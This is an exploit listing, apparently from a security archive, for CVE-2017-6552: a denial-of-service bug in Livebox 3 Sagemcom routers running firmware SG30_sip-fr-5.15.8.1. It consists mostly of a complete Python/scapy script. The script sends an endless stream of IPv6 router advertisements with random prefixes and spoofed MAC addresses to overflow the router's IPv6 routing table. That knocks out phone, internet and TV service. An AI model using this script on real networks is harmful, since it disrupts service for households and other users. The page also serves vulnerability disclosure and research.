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Livebox 3 Sagemcom SG30_sip-fr-5.15.8.1 Denial Of Service

Livebox 3 Sagemcom SG30_sip-fr-5.15.8.1 Denial Of Service
Posted Mar 9, 2017
Authored by Quentin Olagne

Livebox 3 Sagemcom version SG30_sip-fr-5.15.8.1 suffers from a buffer overflow denial of service vulnerability.

tags | exploit, denial of service, overflow
advisories | CVE-2017-6552
MD5 | 86cb84b071fd8f0ead15acaf328bfe9b

Livebox 3 Sagemcom SG30_sip-fr-5.15.8.1 Denial Of Service

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#!/usr/bin/python

# Exploit Title: CVE-2017-6552 - Local DoS Buffer Overflow Livebox 3
# Date: 09/03/2017
# Exploit Author: Quentin Olagne
# Vendor Homepage: http://www.orange.fr/
# Version: SG30_sip-fr-5.15.8.1
# Tested on: Livebox 3 - Sagemcom
# CVE : CVE-2017-6552

'''
Livebox router has its default IPv6 routing table max. size too
small and therefore can be filled within minutes.
An attacker can exploit this issue to render the affected system
unresponsive, resulting in a denial-of-service condition for Phone,
Internet and TV services.

Vulenrability has been discovered in April '16 and has been patched some time ago with the newest firmware.
I have submitted the idea to have a button to enable/disable IPv6 stack on the local interface from the admin
livebox web UI, don't know if it's been implemented.

'''

from scapy.all import *
import time
import threading

start_time = time.time()

def printit():
threading.Timer(5.0, printit).start()
interval = time.time() - start_time
print 'Total time in seconds:', interval, '\n'

printit()

packet = Ether() \
/IPv6() \
/ICMPv6ND_RA() \
/ICMPv6NDOptPrefixInfo(prefix=RandIP6(),prefixlen=64) \
/ICMPv6NDOptSrcLLAddr(lladdr=RandMAC("00:01:42"))

try:
sendp(packet,loop=1)
except KeyboardInterrupt:
stored_exception=sys.exc_info()
except:
pass

print "Goodbye"

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